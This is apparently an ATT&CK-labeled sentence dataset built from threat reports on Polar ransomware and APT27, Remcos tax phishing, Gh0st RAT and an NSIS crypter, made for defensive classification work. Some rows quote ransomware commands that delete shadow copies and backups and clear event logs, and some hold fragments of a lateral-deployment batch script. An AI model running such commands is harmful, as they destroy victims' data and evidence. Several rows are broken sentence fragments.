{"sentence": "This payload call sequence (in which a legitimate application loads a malicious library, which in turn decrypts a third component and passes control to it) is very commonly used to run the PlugX backdoor, which is widely seen among such Asian APT groups as APT10, APT41, TA459, and Bronze Union.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Based on how GameuxInstallHelper.dll is launched, we quickly can guess that this file, too, is an executable file compiled with .NET.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The compilation date is April 9, 2020.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The code entry point is the Actions method of the Encode class in the Polar name space (which is the name we have used for the malware family).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The malware deletes system event logs and shadow copies by performing the following commands: dism /online /enable-feature /featurename:NetFx3 vssadmin.exe Delete Shadows /All", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "/Quiet bcdedit /set {default} recoveryenabled no wmic shadowcopy delete wbadmin delete backup wbadmin delete systemstatebackup -keepversions:0 bcdedit /set {default} bootstatuspolicy ignoreallfailures bcdedit /set {default} recoveryenabled no wevtutil.exe clear-log Application wevtutil.exe clear-log Security wevtutil.exe clear-log System wbadmin delete catalog -quiet wbadmin delete catalog -quiet wbadmin delete systemstatebackup", "labels": ["T1047", "T1059.003"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "It then looks for and stops the following processes: agntsvc.exe agntsvc.exe agntsvc.exe agntsvc.exe dbeng50.exe dbsnmp.exe encsvc.exe excel.exe firefoxconfig.exe infopath.exe isqlplussvc.exe msaccess.exe msftesql.exe mspub.exe mydesktopqos.exe mydesktopservice.exe mysqld-nt.exe mysqld-opt.exe mysqld.exe notepad++.exe notepad.exe ocautoupds.exe ocomm.exe ocssd.exe onenote.exe oracle.exe outlook.exe powerpnt.exe sqbcoreservice.exe sqlagent.exe sqlbrowser.exe sqlservr.exe sqlwriter.exe steam.exe synctime.exe tbirdconfig.exe thebat.exe thebat64.exe thunderbird.exe visio.exe winword.exe wordpad.exe xfssvccon.exe Then the malware gets a list of connected disks and starts recursive traversal of directories, skipping a few of them: C:\\Windows C:\\Program Files C:\\Program Files (x86) C:\\ProgramData C:\\Python $SysReset $Recycle.", "labels": ["T1057", "T1083"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Bin $RECYCLE.BIN It cares only about files with the following extensions: .3dm .3ds .3g2 .3gp .7z .accdb .ai .aif", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".asf .asp .aspx .avi .bak .bin .bmp", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".c .cbr .cer .cfm .class .cpp .crdownload .cs .csr .css .csv .cue .dat .db", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".deb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".dxf .eps .fla .flv", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".h .html .ics .iff .indd .ini .iso .java .jpg", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".m3u .m4a .m4v .max .mdb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mdf", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mpg .msg .msi .obj .odt .pages .part .pct .pdb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".pkg .pl .png", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".pps .ppt .pptx .ps .psd .py .rar .rm", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".rpm .rss .rtf", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".yuv .zip .zipx Before starting encryption, the malware creates what we will call a base encryption key consisting of eight randomly chosen characters from the following alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/ Two approaches to encryption are used, depending on the file size.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The base encryption key is used in both approaches, however.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The intermediate password is the SHA-256 hash sum of the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Each key is encrypted with AES-CBC.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Larger files are encrypted in a different way.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Blocks of 16 bytes are encrypted, with the next 12,800 bytes skipped.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Encrypted files have the .cryptd extension.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Note that the result is creation of a new file (where the encrypted stream is written).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The original file is insecurely deleted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In each directory containing encrypted files, a file named readme_contact_alex.dali@iran.ir.htm is created with the following contents: Your companies cyber defense systems have been weighed, measured and have been found wanting!!!", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The breach is a result of grave neglect of security protocols All of your computers have been corrupted with Polar malware that has encrypted your files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We ensure that the only way to retrieve your data swiftly and securely is with our software.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Restoration of your data requires a private key which only we possess Don't waste your time and money purchasing third party software, without the private key they are useless.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "It is critical that you don't restart or shutdown your computer.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This may lead to irreversible damage to your data and you may not be able to turn your computer back on.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "To confirm that our software works email to us 2 files from random computers you will get them decrypted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "readme_contact_alex.dali@iran.ir.htm contain encrypted session keys we need in order to be able to decrypt your files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The softwares price will include a guarantee that your company will never be inconvenienced by us.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Your personal installation key:*REDACTED* The text of the ransom demand resembles that used by MegaCortex ransomware.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The ransom demand contains a modified version of the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This version is derived by encrypting the base encryption key with RSA (with a hard-coded 1024-byte public key) and encoding it in Base64.", "labels": ["T1027"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "After file encryption is completed, the malware writes an image (contained in executable file resources) to disk at the path c:\\programdata\\Rs.bmp and sets it as the desktop background.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Then it sends an HTTP POST request with the name of the victim's computer to a server at hxxp://www.therockbrazil.com.br/assinaturas/logs.php.", "labels": ["T1071.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "How we decrypted the files Readers following the chain of encryption steps have likely noticed that the security of this whole encryption system depends on what we have called the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Its value is encrypted with RSA-1024 and placed in the ransom demand.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Remember that the base key is generated by taking eight random characters from the alphabet quoted earlier.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Here is how the implementation works: The Random function is called once, without any arguments.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This call returns a random number, the seed for pseudorandom generation of which is taken from the value of the Environment.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This variable is 4 bytes and stores the number of milliseconds since the operating system started.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "So to decode the files, all we need to know is the uptime (how long the computer has been turned on) as of when the ransomware ran.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "But how simple is it to calculate?", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Due to this, the uptime of the computers could not be known.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "But in this case, the ransomware destroys these logs twice.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "So we were unable to find any clues pointing at possible values of uptime on the affected computers themselves.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Fortunately, however, SCCM was used on the client infrastructure, with client-side agents running on all the encrypted computers.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The information we needed was stored centrally and had not been tampered with: all we needed was some trial-and-error to choose the right values.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Now that we had relatively precise uptime values, we needed to determine when the ransomware had run.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Remember that at the end, the malware deletes the intermediate DLL library and encrypted ransomware, but not the legitimate executable file whose process is used for performing the malicious actions.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In other words, the time at which this file appeared on the system should be the approximate time when the ransomware ran, to within several seconds.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We could then decrypt the remaining files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In a few cases, we had a tougher time bruteforcing the key at first.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The reason was that the timezones had been set incorrectly.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "With this realization, we were able to conquer this issue as well.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Attribution We mentioned the SysUpdate and HyperBro backdoors from the attackers' toolkit.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "These are somewhat esoteric Remote Access Trojans used by the APT27 group (also known as Bronze Union, LuckyMouse, Emissary Panda, or Iron Tiger).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The group focuses its attention on government targets in the defense and energy industries, as well as aerospace and manufacturing.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Most commonly, the original attack vector is a compromise of the victim's web servers by exploiting vulnerabilities, bruteforcing credentials, or taking advantage of web server misconfigurations.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Despite the similarities in tactics, techniques, and procedures (TTPs) and use of a telltale toolkit, some of the team's researchers are skeptical about attribution of the attacks to APT27.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Choice of target Media companies had never been of interest for APT27.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This is consistent with the findings of our incident investigation: the attackers did not try to access private information on the target infrastructure, instead only running software for direct financial gain.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Cryptocurrency mining and ransomware", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This is atypical and, moreover, ill-suited software that can quickly attract attention and wreck any plans for long-term cyberspying.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The URL address to which the ransomware \"phones home\" upon completing its work does not have anything in common with APT27 network infrastructure.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Of course, some groups (such as Lazarus and Winnti) combine cyberspying with direct financial motivations, so perhaps APT27 is broadening its previously limited range of interests.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Or, as an alternative, the group has reached an agreement with other attackers for use of their software in return for a part of the proceeds.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In favor of attribution of Polar to APT27, we can note the sequence of payload, execution, and naming: the encrypted SysUpdate backdoor is often named sys.bin.url and the Polar ransomware was named Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex, in a rather similar way.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "3. Automation in 2018 and 2020 Here is the script used to automatically install a cryptocurrency miner on a list of computers in 2018: @echo off for /f", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "i /u", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "*\\administrator /p \"*\" /tn", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "* /tr \"cmd.exe /c start c:\\windows\\system32\\vmnat.exe\" /sc", "labels": ["T1059.003"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "onstart /RU SYSTEM schtasks /run", "labels": ["T1053.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "*\\administrator /p \"*\" /tn * net use \\\\%%i\\c$ /del net use * /del /Y ) del vmnat.exe del list.txt del work.bat", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "%%i in (c:\\programdata\\list.txt) do ( net use \\\\%%i\\c$ \"*\" /u:*\\* if not errorlevel 1 ( del \\\\%%i\\c$\\programdata\\GameuxInstallHelper.dll del \\\\%%i\\c$\\programdata\\GDFInstall.exe del \\\\%%i\\c$\\programdata\\Sysurl.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "i >>", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The scripts show certain similarities in structure and have the same loop of file lines at the same path.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "On the other hand, the indentation, script tasks, and file naming are different.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Bodies of the SysUpdate and HyperBro backdoors We were not able in some cases to confirm the presence of a given backdoor based on the body of the Trojan itself.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We identified the HyperBro backdoor, which had been used in 2018, based on the distinctive file name combined with other confirmed tools.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We confirmed the SysUpdate backdoor, used in 2020, by looking at the C2 address and backdoor body in the process dump memory that had been uploaded to VirusTotal during investigation from an organization not linked to our client.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Therefore we leave it to the reader to choose whether to concur regarding involvement by APT27. Conclusion In this article, we have described an APT27 attack on a media company.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The cybercriminals obtained access to the company's headquarters by compromising an office in a foreign country.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They maintained control of the infrastructure for two years.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They used both publicly available and custom-developed tools that had been seen previously.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Perhaps the compromise of this client was an accident and this was merely an attempt to obtain at least some benefit.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "User data was encrypted, after which a ransom demand was made.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "To our knowledge, the attackers did not obtain access to information of any value whatsoever, ultimately leaving them with nothing to show for their efforts.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Authors: Denis Goydenko and Alexey Vishnyakov, Positive Technologies MITRE TTPs Tactic ID Name Initial Access T1190 Exploit Public-Facing Application T1199 Trusted Relationship Execution T1059 Command and Scripting Interpreter:", "labels": ["T1059.003", "T1190"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Windows Command Shell T1053 Scheduled Task/Job: Scheduled Task T1047 Windows Management Instrumentation Persistence T1547 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574 Hijack Execution Flow: DLL Search Order Hijacking T1053 Scheduled Task/Job: Scheduled Task T1078 Valid Accounts: Domain Accounts T1078 Valid Accounts: Default Accounts Privilege Escalation T1068 Exploitation for Privilege Escalation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1070 Indicator Removal on Host: Clear Windows Event Logs T1070 Indicator Removal on Host: File Deletion T1070 Indicator Removal on Host: Timestomp Credential Access T1003 OS Credential Dumping: LSASS Memory Discovery T1087 Account Discovery: Domain Account T1082 System Information Discovery T1049 System Network Connections Discovery Lateral Movement T1210 Exploitation of Remote Services T1570 Lateral Tool Transfer T1021 Remote Services: SMB/Windows Admin Shares Collection T1560 Archive Collected Data: Archive via Utility T1005 Data from Local System T1119 Automated Collection T1039 Data from Network Shared Drive Command and Control T1071 Application Layer Protocol: Web Protocols T1132 Data Encoding: Standard Encoding T1573 Encrypted Channel:", "labels": ["T1003.001", "T1005", "T1016", "T1047", "T1053.005", "T1059.003", "T1068", "T1071.001", "T1078", "T1082", "T1140", "T1210", "T1547.001", "T1570", "T1573.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "8c80dd97c37525927c1e549cb59bcbf3 frsocks: da0c13d834cafc010bec1afa2d76196ced71e661 Mimikatz: 449da3d7405c2c79fa55bd7973096e28 0078ff05c20689f40ea9cb8c47fcfb2e52cdc3a9 BitMiner: 5430039162e58c44f9a5941295b55fba Polar:", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "841980b4ae02a4e6520ab834deee241b", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Threat actors often take advantage of current events and major news headlines to align attacks and leverage social engineering when people could be more likely to be distracted or misled.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Tax season is particularly appealing to threat actors because not only are people busy and under stress, but it is intrinsically tied to financial information.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Remcos, which stands for “Remote Control and Surveillance”, is a closed-source tool that allows threat actors to gain administrator privileges on Windows systems remotely.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "It was released in 2016 by BreakingSecurity, a European company that markets Remcos and other offensive security tools as legitimate software.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "In 2021, CISA listed Remcos among its top malware strains, citing its use in mass phishing attacks using COVID-19 pandemic themes targeting businesses and individuals.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "While social engineering lures like this one are common around Tax Day and other big topic current events, these campaigns are specific and targeted in a way that is uncommon.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The targets for this threat are exclusively organizations that deal with tax preparation, financial services, CPA and accounting firms, and professional service firms dealing in bookkeeping and tax.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "This campaign can be detected in Microsoft Defender Antivirus, built into Windows and on by default, as well as Microsoft 365 Defender.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The campaign uses lures masquerading as tax documentation sent by a client, while the link in the email uses a legitimate click-tracking service to evade detection.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The target is then redirected to a legitimate file hosting site, where the actor has uploaded Windows shortcut (.LNK) files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Remcos malware phishing lure These LNK files generate web requests to actor-controlled domains and/or IP addresses to download malicious files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "These malicious files then perform actions on the target device and download the Remcos payload, providing the actor potential access to the target device and network.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft is sharing this information along with detections and recommendations with the community to help users and defenders stay vigilant against this campaign with Tax Day approaching in the U.S. on April 18.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft 365 Defender and Microsoft Defender Antivirus detect and block Remcos and other malicious activity related to this campaign.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The initial link then redirects the target to a ZIP file hosted on legitimate file-sharing service spaces[.]hightail[.]com.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The LNK files make web requests to actor-controlled domains and IP addresses to download additional malicious files such as MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs.", "labels": ["T1105"], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "GuLoader is a malicious downloader that has been used by many different actors to deliver a wide variety of malware, including several RATs such as Remcos, through phishing campaigns since it was first observed in the wild in December 2019.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The downloader uses several techniques to evade analysis and detection such as using legitimate file-sharing sites and cloud hosting services for payload storage and delivery as well as encryption and obfuscation of the GuLoader shellcode and payloads.", "labels": ["T1027"], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Recommendations and detections Microsoft recommends the following mitigations to reduce the impact of this threat: Block JavaScript or VBScript from launching downloaded executable content Block executable files from running unless they meet a prevalence, age, or trusted list criterion Enable Microsoft Defender Antivirus scanning of downloaded files and attachments Enable Microsoft Defender Antivirus real-time behavior monitoring Enable cloud-delivered protection Detection details Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects phishing emails associated with the campaign discussed in this blog.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft Defender Antivirus Microsoft Defender Antivirus, on by default on Windows machines, detects threat components as the following malware: Backdoor:Win32/Remcos.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "GA!MTB Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ‘Remcos’ backdoor Suspicious ‘Remcos’ behavior ‘Remcos’ malware ‘Guloader’ malware Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Found in Environments Protected by: ProofpointBy Nathaniel Raymond, Cofense IntelligenceGh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Indicators of CompromiseFiles1680478346389.zipMD5: 9e6c45b6b8b20bf3c5959dbba8f27117LiveUpdate360.datMD5: f149d3f3ef0361ebe4d346811f29b527LiveUpdate.exeMD5: 96e4b47a136910d6f588b40d872e7f9dsetting.iniMD5: 91aab4bbe634be62d11d132738c23a82SqlVersion9.dllMD5: 317f9ff06c076e87e5b1d11242396d5fú¿╡τ-╫╙-╖ó-╞▒ú⌐.exeMD5: 4723a2a8f68c1eaf82809cff29b8e56fURLshxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dllhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xmlhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dathxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exehxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txtCommand and Controlhxxp://61[.]160[.]223[.]114:18076All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The post <strong>Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release</strong> appeared first on Cofense.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "This blog post was authored by hasherezade NSIS (Nullsoft Scriptable Install System) is a framework dedicated to creating software installers.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It allows to bundle various elements of an application together (i.e. the main executable, used DLLs, configs), along with a script that controls where are they going to be extracted, and what their execution order is.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Unfortunately, its qualities are known not only to legitimate developers but also to malware distributors.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "For several years we have been observing malware distributed via NSIS-based crypters.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The flexibility of the installer allows to implement various ideas for obfuscating malicious elements.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Samples This analysis is based on the following samples: 8F80426CEC76E7C9573A9C58072399AF carrying a Formbook sample: 05dc8c8d912a58a5dde38859e741b2c098061CCF694005A78FCF0FBC8810D137carrying a Formbook sample: f34bd301f4f4d53e2d069b4842bca672 Inside Like every NSIS-based installer, this executable is an archive that can be unpacked with the help of 7zip.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The older versions of 7zip (i.e.15.05) were also able to extract the NSIS script:", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "[NSIS].nsi.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Unfortunately, in the newer releases script extraction is no longer supported.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Once we unpack the file, we can see several elements, as well as directories typical for NSIS:", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The System.dll is a DLL typical for any NSIS installer, responsible for executing the commands from the script.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It is the first component of the archive to be loaded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "We can find it in each of the samples.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "What is more interesting are the files in the main directory.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The first one, 1 KB in size, is a shellcode.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It starts from bytes: 0x55, 0x8B, 0xEC, 0x81, 0xEC Analogous shellcode can be found in the second sample from this campaign.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In the same directory there are two other files.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "One of them is around 7 KB, and the next: much bigger.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Both of them are encrypted, and to find out what they contain we need to analyze the full chain of loading.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Looking inside the NSIS script we can see the performed actions that are very simple: Function .onInit InitPluginsDir SetOutPath", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "\" System::Call ::$0() Call func_80", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "[...] The first file of the set (containing the shellcode) is read into the executable memory.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Then, the loaded module is just called.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Shellcode #1 – functionality If we load those shellcodes into IDA we can see their functionality very clearly, as they are not obfuscated.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Shellcode from sample #1: Shellcode from sample #2 Although the code is a bit different in both, they can be divided with the same steps and building blocks.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
